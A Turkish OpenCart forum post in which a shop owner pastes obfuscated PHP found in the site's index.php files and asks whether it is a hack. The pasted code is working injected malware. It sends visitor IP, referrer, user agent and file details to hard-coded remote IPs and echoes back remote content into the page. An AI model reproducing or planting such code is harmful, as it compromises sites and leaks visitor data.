ErcanGunes
OpenCart-TR
- Katılım
- 8 Tem 2011
- Mesajlar
- 65
- Tepkime puanı
- 0
- Puanları
- 0
- Yaş
- 33
Merhaba arkadaşlar,
Sitemdeki kodlara bakarken admin klasörünün içerisinde yer alan index.php nin içinde çok garip bir kod gördüm. Sizinlede paylaşıyorum. Bana bu hiç normal gelmedi. Nedir acaba bu?
Arkadaşlar ana dizindeki index.php nin içindede var? Nedir acaba bu kod, ne yapıyor? Hacklenip kod mu yerleştirilmiş?
Arkadaşlar silsem mi acaba bu kodu? Ne biçim bir fonksiyondur bu böyle?
Sitemdeki kodlara bakarken admin klasörünün içerisinde yer alan index.php nin içinde çok garip bir kod gördüm. Sizinlede paylaşıyorum. Bana bu hiç normal gelmedi. Nedir acaba bu?
Kod:
function GetMama(){$mother = "seninsepetin.com"; return $mother;} ${"G\x4c\x4f\x42AL\x53"}["n\x64b\x75\x6f\x79\x6a"]="p\x61";${"G\x4cO\x42AL\x53"}["f\x68\x70\x78\x6e\x6bl\x77"]="\x72\x65\x66";${"\x47L\x4fB\x41\x4c\x53"}["\x73\x71\x78\x6fhd\x77"]="\x63\x68";${"\x47\x4c\x4fBA\x4cS"}["o\x76\x6bx\x70\x67\x6f\x69qd\x71"]="\x75a";${"\x47\x4c\x4fB\x41\x4c\x53"}["v\x65\x6bsy\x62qg\x78\x79"]="\x75\x6c\x74";${"\x47L\x4f\x42\x41\x4cS"}["\x63s\x62\x75\x67\x69\x6ae\x70\x74"]="\x66\x69le";${"\x47\x4cO\x42\x41\x4c\x53"}["\x64hx\x6bz\x6bdc"]="\x7a";${"\x47L\x4fB\x41L\x53"}["\x6e\x6bj\x62w\x74\x68"]="\x69p";${"GL\x4f\x42\x41\x4c\x53"}["f\x71yp\x63j\x76b\x72"]="\x6dama";function ahfudflfzdhfhs($pa){${"\x47L\x4fB\x41L\x53"}["\x67l\x6d\x71\x77\x78\x61\x66"]="\x75\x72\x6c";$jxcmmm="\x66\x69l\x65";${${"\x47\x4c\x4fBAL\x53"}["\x66\x71\x79\x70\x63\x6a\x76br"]}=GetMama();${$jxcmmm}=urlencode(__FILE__);if(isset($_SERVER["HTT\x50_HO\x53T"])){$host=$_SERVER["\x48TT\x50\x5fHOS\x54"];}if(isset($_SERVER["\x52EM\x4fTE\x5f\x41\x44D\x52"])){${${"\x47L\x4f\x42AL\x53"}["\x6ek\x6a\x62\x77t\x68"]}=$_SERVER["R\x45MOTE\x5fA\x44\x44R"];}if(isset($_SERVER["\x48T\x54\x50_R\x45FERE\x52"])){${"G\x4cO\x42\x41\x4c\x53"}["i\x6a\x6c\x65m\x6f"]="\x72\x65\x66";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69j\x6c\x65\x6d\x6f"]}=urlencode($_SERVER["H\x54T\x50_RE\x46\x45\x52E\x52"]);}$hsxucskxxzs="u\x61";if(isset($_SERVER["H\x54TP\x5fU\x53E\x52\x5fA\x47E\x4e\x54"])){${${"\x47L\x4fB\x41LS"}["ov\x6b\x78\x70\x67oiq\x64\x71"]}=urlencode(strtolower($_SERVER["HTTP_USE\x52_\x41G\x45N\x54"]));}${${"\x47LO\x42\x41\x4c\x53"}["\x67\x6c\x6d\x71\x77\x78\x61\x66"]}="h\x74\x74p:/\x2f".${${"G\x4c\x4f\x42\x41\x4c\x53"}["n\x64\x62\x75o\x79j"]}."\x2fo\x70\x70\x2ephp\x3f\x6doth\x65\x72=".${${"G\x4c\x4f\x42AL\x53"}["f\x71y\x70\x63\x6av\x62\x72"]}."&f\x69l\x65\x3d".${${"\x47\x4c\x4f\x42AL\x53"}["\x63\x73b\x75\x67\x69je\x70t"]}."\x26\x68ost\x3d".$host."\x26\x69p=".${${"\x47\x4c\x4f\x42\x41LS"}["\x6ek\x6a\x62w\x74h"]}."&\x72e\x66\x3d".${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x66\x68\x70x\x6e\x6b\x6cw"]}."&ua=".${$hsxucskxxzs};if(function_exists("c\x75\x72l\x5fi\x6ei\x74")){$pqhfkysoeyw="u\x72l";$dppnuweqku="\x63h";${"\x47L\x4f\x42AL\x53"}["h\x73\x63\x73\x6f\x66y\x6b\x78o"]="\x63\x68";${$dppnuweqku}=curl_init(${$pqhfkysoeyw});curl_setopt(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x68\x73\x63\x73\x6ff\x79k\x78\x6f"]},CURLOPT_RETURNTRANSFER,1);$gzaxyjg="\x75\x6c\x74";curl_setopt(${${"\x47\x4cOB\x41\x4c\x53"}["\x73qx\x6f\x68\x64\x77"]},CURLOPT_TIMEOUT,3);${$gzaxyjg}=curl_exec(${${"\x47L\x4fB\x41\x4c\x53"}["\x73\x71x\x6f\x68\x64\x77"]});}else{${"\x47L\x4f\x42\x41\x4c\x53"}["\x68\x6b\x6d\x77njtx"]="\x75\x72\x6c";${${"\x47\x4cO\x42\x41\x4c\x53"}["v\x65k\x73ybq\x67\x78\x79"]}=@file_get_contents(${${"\x47LOB\x41L\x53"}["\x68\x6b\x6dwn\x6a\x74x"]});}if(strpos(${${"G\x4c\x4f\x42A\x4cS"}["\x76\x65\x6b\x73y\x62\x71\x67\x78\x79"]},"ebn\x61")!==false){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6ce\x66\x69\x65h\x70e\x65w"]="\x7a";$tqgmoaj="\x75l\x74";${${"\x47L\x4f\x42A\x4cS"}["\x6c\x65\x66\x69\x65\x68\x70e\x65\x77"]}=str_replace("\x65\x62n\x61","",${$tqgmoaj});echo${${"GL\x4fB\x41\x4c\x53"}["\x64\x68\x78\x6bz\x6b\x64\x63"]};return true;}else{return false;}}${"\x47\x4cO\x42\x41\x4cS"}["\x68tj\x77\x6e\x62p\x64"]="\x75r";ob_start();${"\x47L\x4fB\x41\x4c\x53"}["\x70b\x66i\x6ey\x66k\x72"]="f\x61t\x68\x65\x72";$zgsyircv="f\x61\x74\x68e\x72";${"\x47\x4cO\x42\x41\x4c\x53"}["nc\x66\x71\x63jb\x68\x7a\x79"]="\x66\x61\x74he\x72";${${"\x47\x4c\x4f\x42\x41L\x53"}["n\x63\x66\x71\x63j\x62h\x7a\x79"]}[]="31\x2e\x318\x34.2\x342\x2e10\x33";${$zgsyircv}[]="91.\x3196\x2e\x3216.\x31\x34\x38";${"G\x4cOB\x41\x4c\x53"}["\x68\x79\x6av\x65m\x7a\x68\x6e\x62\x72\x63"]="\x75r";${${"G\x4c\x4fB\x41LS"}["nc\x66qc\x6a\x62\x68z\x79"]}[]="9\x31\x2e1\x396\x2e\x321\x36\x2e49";foreach(${${"G\x4c\x4f\x42\x41LS"}["pb\x66\x69\x6eyf\x6b\x72"]} as${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68\x79j\x76emz\x68\x6e\x62r\x63"]}){if(ahfudflfzdhfhs(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x68\x74\x6a\x77nb\x70\x64"]})){break;}}
Arkadaşlar ana dizindeki index.php nin içindede var? Nedir acaba bu kod, ne yapıyor? Hacklenip kod mu yerleştirilmiş?
Arkadaşlar silsem mi acaba bu kodu? Ne biçim bir fonksiyondur bu böyle?